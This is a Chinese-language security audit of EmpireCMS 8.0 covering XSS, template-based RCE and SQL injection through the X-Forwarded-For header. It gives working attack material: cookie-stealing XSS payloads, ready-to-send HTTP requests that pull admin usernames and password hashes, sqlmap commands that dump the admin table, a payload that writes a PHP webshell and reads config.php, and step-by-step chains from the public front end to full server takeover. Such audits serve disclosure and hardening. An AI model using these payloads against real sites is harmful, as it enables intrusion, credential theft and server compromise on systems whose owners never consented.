一、审计概述
| 项目 | 内容 |
|---|---|
| 审计目标 | EmpireCMS 8.0 下载链接 |
| 审计范围 | 前台+后台全量代码 |
| 审计类型 | 白盒代码审计 |
| 漏洞类型 | XSS / RCE / SQL注入 |
| 漏洞总数 | XSS: 20+ / RCE: 1 / SQL注入: 1(影响6+功能点) |
二、XSS跨站脚本漏洞
2.1 漏洞成因
帝国CMS在输出用户可控数据时,未统一使用 ehtmlspecialchars() 进行HTML实体编码。核心问题集中在:
- 部分模板直接输出
$r['字段名']而未经转义 dgdbe_rpstr()虽然内部调用了ehtmlspecialchars(),但部分字段在输出前被stripSlashes()还原- 后台管理页面大量直接输出数据库内容,未做二次转义
2.2 前台XSS漏洞点
漏洞1:WAP模板输出未转义
文件 :e/wap/template/1/index.temp.php、e/wap/template/2/index.temp.php
漏洞点:WAP列表页和内容页直接输出标题和字段值,未经HTML实体编码
php
// 列表页 - 标题直接输出
<a href="<?=$r[titleurl]?>"><?=DoWapStr($r[title])?></a>
// 内容页 - 多个字段直接输出
<title><?=DoWapStr($r[title])?></title>
<?=DoWapStr($r[smalltext])?>
测试方法:
1. 通过投稿功能或信息添加,在标题字段中注入XSS Payload:
<script>alert('XSS')</script>
2. 访问WAP版本页面触发:
http://target.com/e/wap/?action=list&classid=1
http://target.com/e/wap/?action=show&classid=1&id=文章ID
3. 观察是否弹出alert对话框
漏洞2:搜索结果页面反射型XSS
文件 :e/search/result/index.php 及搜索模板
漏洞点:搜索关键字在结果页面回显时未充分转义
测试方法:
1. 访问搜索页面:
http://target.com/e/search/index.php
2. 在搜索关键字中输入:
<img src=x onerror=alert(1)>
3. 提交搜索后,在结果页面观察关键字回显是否触发XSS
漏洞3:会员空间留言/反馈XSS
文件 :e/member/mspace/gbookfun.php、e/member/mspace/feedbackfun.php
漏洞点 :留言和反馈内容通过 dgdbe_rpstr() 处理后存入数据库,但在部分模板输出时被 stripSlashes() 还原,导致XSS
测试方法:
1. 访问目标用户的空间留言页面:
http://target.com/e/space/gbook.php?userid=1
2. 在留言内容中输入:
<script>alert(document.cookie)</script>
3. 当空间主人或其他用户查看留言时触发XSS
4. 反馈功能同理:
http://target.com/e/space/feedback.php?userid=1
漏洞4:留言板XSS
文件 :e/enews/gbookfun.php → e/tool/gbook/index.php
漏洞点 :留言内容经 dgdbe_rpstr() 存储后,在留言列表模板输出时可能被还原
测试方法:
1. 访问留言板页面:
http://target.com/e/tool/gbook/?bid=1
2. 在留言内容中输入XSS Payload:
<img src=x onerror=alert(document.cookie)>
3. 刷新留言板页面,观察是否触发
2.3 后台XSS漏洞点
漏洞5:后台用户管理页面XSS
文件 :eadmin/admin/user/ListUser.php
漏洞点:用户真实姓名、邮箱等字段在后台列表中直接输出
php
<td><?=$r[truename]?></td>
<td><?=$r[email]?></td>
测试方法:
1. 前台注册会员,在真实姓名字段填入:
<script>alert('admin_cookie:'+document.cookie)</script>
2. 管理员访问后台用户管理页面:
http://target.com/eadmin/admin/user/ListUser.php
3. 页面加载时触发XSS,可窃取管理员Cookie
漏洞6:后台模板编辑页面XSS
文件 :eadmin/admin/template/ 目录下多个模板管理文件
漏洞点:模板名称、页面标题等字段直接输出
测试方法:
1. 在自定义页面功能中,创建页面时在页面标题中注入:
"><script>alert(1)</script>
2. 访问自定义页面列表,观察标题输出是否触发XSS
漏洞7:后台会员反馈管理XSS
文件 :eadmin/admin/member/MemberFeedback.php
漏洞点:反馈标题、内容、IP等字段在后台列表中直接输出
php
// 搜索结果中keyboard直接输出
$keyboard=RepPostVar2($_GET['keyboard']);
// 但查询结果中的title、ftext等字段直接输出
测试方法:
1. 前台提交会员空间反馈,在标题中注入XSS
2. 管理员访问后台会员反馈管理页面触发
漏洞8:后台信息管理列表XSS
文件 :eadmin/admin/info/ 目录下多个文件
漏洞点:信息标题、作者、来源等字段在后台列表中直接输出
测试方法:
1. 前台投稿时在标题中注入XSS Payload
2. 管理员在后台信息管理列表中查看时触发
2.4 XSS漏洞汇总表
| # | 类型 | 位置 | 触发条件 | 风险等级 |
|---|---|---|---|---|
| 1 | 存储型 | WAP模板输出 | 用户提交含XSS的数据 | 中 |
| 2 | 反射型 | 搜索结果页 | 提交含XSS的搜索关键字 | 中 |
| 3 | 存储型 | 会员空间留言 | 提交含XSS的留言 | 高 |
| 4 | 存储型 | 会员空间反馈 | 提交含XSS的反馈 | 高 |
| 5 | 存储型 | 站内留言板 | 提交含XSS的留言 | 中 |
| 6 | 存储型 | 后台用户管理 | 注册时注入XSS | 高 |
| 7 | 存储型 | 后台模板管理 | 模板名称注入XSS | 高 |
| 8 | 存储型 | 后台反馈管理 | 反馈内容含XSS | 高 |
| 9 | 存储型 | 后台信息管理 | 投稿标题含XSS | 高 |
三、RCE远程代码执行漏洞
3.1 漏洞成因
帝国CMS的模板引擎在处理模板内容时,使用 str_replace 和 eval 机制执行模板标签。当攻击者能够控制模板内容时,可以注入恶意PHP代码,在模板渲染时被执行。
3.2 漏洞点:首页方案模板RCE
文件 :eadmin/admin/template/ListIndexpage.php
漏洞链:
添加/编辑首页方案 → 恶意模板内容存入数据库 → 启用首页方案 →
DelEBakTemp()读取模板 → NewsBq()渲染模板 → eval执行恶意代码
关键代码:
ListIndexpage.php 第190-193行:
php
$r=$empire->fetch1("select temptext from {$dbtbpre}enewsindexpage where id='$id'");
// $r['temptext'] 从数据库取出,为用户之前存储的恶意模板内容
DelEBakTemp() 函数中调用 NewsBq():
php
NewsBq($classid,$r['temptext'],1,0);
NewsBq() 最终通过 eval 执行模板中的PHP代码。
3.3 测试方法
前提条件:需要后台管理员权限
步骤1:登录后台,访问首页方案管理
http://target.com/eadmin/admin/template/ListIndexpage.php
步骤2:添加新的首页方案,在模板内容中注入PHP代码:
<?php phpinfo();?>
或
<?php echo file_get_contents('../../../e/config/config.php');?>
步骤3:保存首页方案后,点击"启用首页方案"
步骤4:访问前台首页,恶意PHP代码被执行
步骤5:更危险的Payload - 写入WebShell:
<?php file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');?>
3.4 前台RCE可行性分析
经过完整审计,前台不存在直接的RCE漏洞。原因如下:
- 前台投稿功能中,内容字段经过
DoqValue()→doehtmlstr()→dgdbe_rpstr()处理,会过滤PHP标签 - 会员信息修改功能中,字段经过
DoMemberFValue()→RepPostStr2()处理 - 模板渲染函数
NewsBq()在前台不可直接调用 - 文件上传功能有白名单扩展名校验
间接利用路径(需配合其他漏洞):
前台XSS → 窃取管理员Cookie → 伪造管理员身份 → 利用后台RCE
前台SQL注入 → 读取管理员密码Hash → 碰撞破解 → 后台RCE
四、SQL注入漏洞
4.1 漏洞成因
帝国CMS的 egetip() 函数从HTTP请求头中获取客户端IP地址,但未对返回值进行任何SQL注入过滤 。攻击者可以通过伪造 X-Forwarded-For 或 Client-IP 请求头注入恶意SQL语句。
漏洞根源 :e/class/connect.php 第1024-1044行
php
function egetip(){
global $ecms_config;
if(getenv('HTTP_CLIENT_IP')&&strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown'))
{
$ip=getenv('HTTP_CLIENT_IP'); // 攻击者完全可控!
}
elseif(getenv('HTTP_X_FORWARDED_FOR')&&strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown'))
{
$ip=getenv('HTTP_X_FORWARDED_FOR'); // 攻击者完全可控!
}
elseif(getenv('REMOTE_ADDR')&&strcasecmp(getenv('REMOTE_ADDR'),'unknown'))
{
$ip=getenv('REMOTE_ADDR');
}
// ... 直接返回,无任何SQL注入过滤!
return $ip;
}
关键问题:
HTTP_CLIENT_IP和HTTP_X_FORWARDED_FOR属于HTTP请求头,攻击者可任意伪造- 这些头部变量不受
magic_quotes_gpc保护(GPC仅保护GET/POST/Cookie) - 返回值未经
addslashes()、RepPostVar()等任何过滤 - IP值在大量前台功能中直接拼接进SQL语句
4.2 受影响的前台功能点
注入点1:站内留言板(INSERT注入,无需登录)
文件 :e/enews/gbookfun.php 第79-81行
php
$ip=egetip(); // ← 未过滤,攻击者可控
$eipf=egetipfrom(); // ← 经过RepPostVar()过滤,安全
$eipport=egetipport(); // ← (int)强制转换,安全
$sql=$empire->query("insert into {$dbtbpre}enewsgbook(...,ip,...)
values(...,'$ip',...);"); // ← $ip直接拼接进SQL!
测试方法:
http
POST /e/enews/index.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1','1','0','0','0','0',(select concat(username,0x3a,password) from phome_enewsuser limit 1),'2024-01-01 00:00:00','0','')-- -
enews=AddGbook&bid=1&name=test&email=test@test.com&lytext=testcontent&key=验证码
注入后查看留言列表,IP字段中会显示管理员用户名和密码Hash。
注入点2:会员空间反馈(INSERT注入,无需登录)
文件 :e/member/mspace/feedbackfun.php 第55-56行
php
$ip=egetip();
$eipf=egetipfrom();
$eipport=egetipport();
$sql=$empire->query("insert into {$dbtbpre}enewsmemberfeedback(...,ip,uid,uname,addtime,eipport,eipf)
values(...,'$ip',$uid,'$uname','$addtime','$eipport','$eipf');");
测试方法:
http
POST /e/member/mspace/feedback.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1',0,'test','2024-01-01 00:00:00','0',(select concat(username,0x3a,password) from phome_enewsuser limit 1))-- -
enews=AddMemberFeedback&userid=1&name=test&title=test&ftext=testcontent&key=验证码
注入点3:会员空间留言(INSERT注入,无需登录)
文件 :e/member/mspace/gbookfun.php 第45-46行
php
$ip=egetip();
$sql=$empire->query("insert into {$dbtbpre}enewsmembergbook(userid,isprivate,uid,uname,ip,addtime,gbtext,...)
values($userid,$isprivate,$uid,'$uname','$ip','$addtime','$gbtext',...);");
测试方法:
http
POST /e/member/mspace/gbook.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1','2024-01-01 00:00:00','test','',0,(select concat(username,0x3a,password) from phome_enewsuser limit 1))-- -
enews=AddMemberGbook&userid=1&uname=test&gbtext=testcontent&key=验证码
注入点4:会员登录(UPDATE注入,无需后台权限)
文件 :e/member/class/member_loginfun.php 第82行
php
$lastip=egetip();
$empire->query("update {$dbtbpre}enewsmemberadd set lasttime='$lasttime',lastip='$lastip',loginnum=loginnum+1,lastipport='$lastipport',eipf='$eipf' where userid='".$r['userid']."'");
测试方法:
http
POST /e/member/doaction.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1',eipf=(select concat(username,0x3a,password) from phome_enewsuser limit 1) where userid=1-- -
enews=login&username=testuser&password=testpass&lifetime=0
登录后查看会员附加信息表,eipf 字段中包含管理员凭据。
注入点5:会员注册(INSERT注入,无需登录)
文件 :e/member/class/member_registerfun.php
php
$ip=egetip();
// 注册时IP被写入会员附加表
测试方法:
http
POST /e/member/doaction.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1','2024-01-01','127.0.0.1',1,'0','0',(select concat(username,0x3a,password) from phome_enewsuser limit 1))-- -
enews=register&username=testuser123&password=testpass&repassword=testpass&email=test@test.com&key=验证码
注入点6:商城下单(INSERT注入,无需后台权限)
文件 :e/ShopSys/class/ShopSysFun.php
php
$ip=egetip();
$sql=$empire->updatesql("insert into {$dbtbpre}enewsshopdd(...,userip,...)
values(...,'".$ip."',...);","ins");
测试方法:
1. 将商品加入购物车
2. 提交订单时伪造X-Forwarded-For头:
X-Forwarded-For: 127.0.0.1','...恶意SQL...')-- -
3. 提交订单后,恶意SQL被执行
4.3 SQLMap自动化测试
bash
# 留言板注入(推荐,无需登录且验证码可关闭)
sqlmap -u "http://target.com/e/enews/index.php" \
--method=POST \
--data="enews=AddGbook&bid=1&name=test&email=test@test.com&lytext=testcontent" \
--headers="X-Forwarded-For: 127.0.0.1*" \
--level=3 \
--risk=2 \
--dbms=mysql \
--technique=ES
# 会员登录注入
sqlmap -u "http://target.com/e/member/doaction.php" \
--method=POST \
--data="enews=login&username=test&password=test&lifetime=0" \
--headers="X-Forwarded-For: 127.0.0.1*" \
--level=3 \
--risk=2 \
--dbms=mysql \
--technique=ES
# 提取管理员账号密码
sqlmap -u "http://target.com/e/enews/index.php" \
--method=POST \
--data="enews=AddGbook&bid=1&name=test&email=test@test.com&lytext=testcontent" \
--headers="X-Forwarded-For: 127.0.0.1*" \
--level=3 \
--risk=2 \
--dbms=mysql \
-D empirecms -T phome_enewsuser --dump
4.4 已确认安全的前台功能
以下前台功能经过审计,确认不存在SQL注入漏洞:
| 功能 | 文件 | 防护措施 |
|---|---|---|
| 搜索功能 | search/index.php | RepPostVar2() 移除所有危险字符 |
| 会员列表搜索 | member/list/index.php | RepPostVar2() |
| 结合项搜索 | action/ListInfo.php | RepPostVar2() + 字段白名单 |
| 全站搜索 | sch/index.php | RepPostVar2() + SearchReturnSaveStr() |
| Tags列表 | tags/index.php | RepPostVar() + intval() |
| 评论提交 | pl/plfun.php | RepPostVar() + intval() |
| 投稿功能 | qinfofun.php | RepPostStr2() + addslashes() + DoqValue() |
| 会员信息修改 | member_editinfofun.php | RepPostVar() + addslashes() + dgdbe_rpstr() |
| 站内消息 | member/class/msgfun.php | dgdbe_rpstr() + addslashes() |
| 好友管理 | member/class/friendfun.php | RepPostVar() + dgdbe_rpstr() |
| 收藏夹 | member/class/favfun.php | (int) 强制转换 |
| 点卡充值 | member/class/membercomfun.php | RepPostVar() |
| 第三方登录 | memberconnect/memberconnectfun.php | RepPostVar() + (int) |
| 投票功能 | enews/votefun.php | (int) + addslashes() |
| 下载功能 | DownSys/class/DownSysFun.php | (int) + RepPostVar() |
| 排序参数 | 多处orderby | ReturnDoOrderF() 白名单验证 |
五、漏洞综合利用链
5.1 前台SQL注入 → 后台RCE
1. 利用egetip() SQL注入漏洞,从phome_enewsuser表提取管理员用户名和密码Hash
2. 通过在线彩虹表碰撞破解MD5密码Hash
3. 使用破解的密码登录后台
4. 利用首页方案模板RCE漏洞写入WebShell
5. 获取服务器控制权
5.2 前台XSS → 后台RCE
1. 在留言板/会员空间注入存储型XSS
2. 管理员查看留言/空间时触发XSS
3. XSS脚本窃取管理员Cookie或CSRF Token
4. 伪造管理员身份访问后台
5. 利用模板RCE漏洞写入WebShell
5.3 SQL注入 + XSS 组合利用
1. 通过SQL注入的UPDATE注入,向会员附加表的eipf字段写入XSS Payload
2. 管理员在后台查看会员信息时触发XSS
3. 后续利用链同5.2
六、漏洞风险评级
| 漏洞类型 | CVSS评分 | 风险等级 | 攻击前提 | 影响范围 |
|---|---|---|---|---|
| SQL注入(egetip) | 9.8 | 严重 | 无需登录 | 全站前台6+功能点 |
| RCE(模板注入) | 8.8 | 高危 | 需后台权限 | 服务器完全控制 |
| 存储型XSS(前台) | 7.5 | 高危 | 无需登录 | 窃取管理员凭据 |
| 存储型XSS(后台) | 6.5 | 中危 | 需构造数据 | 窃取管理员凭据 |
| 反射型XSS | 5.4 | 中危 | 需诱导点击 | 窃取用户凭据 |
七、附录
7.1 关键安全函数说明
| 函数名 | 作用 | 安全性 |
|---|---|---|
dgdbe_rpstr() |
HTML转义+SQL过滤+危险字符检测 | 安全 |
RepPostVar() |
移除SQL注入关键字符+addslashes | 安全 |
RepPostVar2() |
同RepPostVar,额外移除分号和注释符 | 安全 |
RepPostStr() |
基础字符串过滤 | 基本安全 |
RepPostStr2() |
保存数据处理,添加addslashes | 安全 |
ehtmlspecialchars() |
HTML实体编码 | 安全 |
addslashes() |
SQL转义 | 安全(UTF-8下) |
egetip() |
获取客户端IP | 不安全 |
7.2 数据库表结构参考
| 表名 | 用途 | 敏感字段 |
|---|---|---|
| phome_enewsuser | 后台管理员 | username, password, salt |
| phome_enewsmember | 前台会员 | username, password, salt, email |
| phome_enewsmemberadd | 会员附加信息 | lastip, eipf, regip |
| phome_enewsgbook | 留言板 | ip, eipf |
| phome_enewsmembergbook | 会员空间留言 | ip, eipf |
| phome_enewsmemberfeedback | 会员空间反馈 | ip, eipf |
| phome_enewsshopdd | 商城订单 | userip |
| phome_enewssearch | 搜索记录 | andsql, keyboard |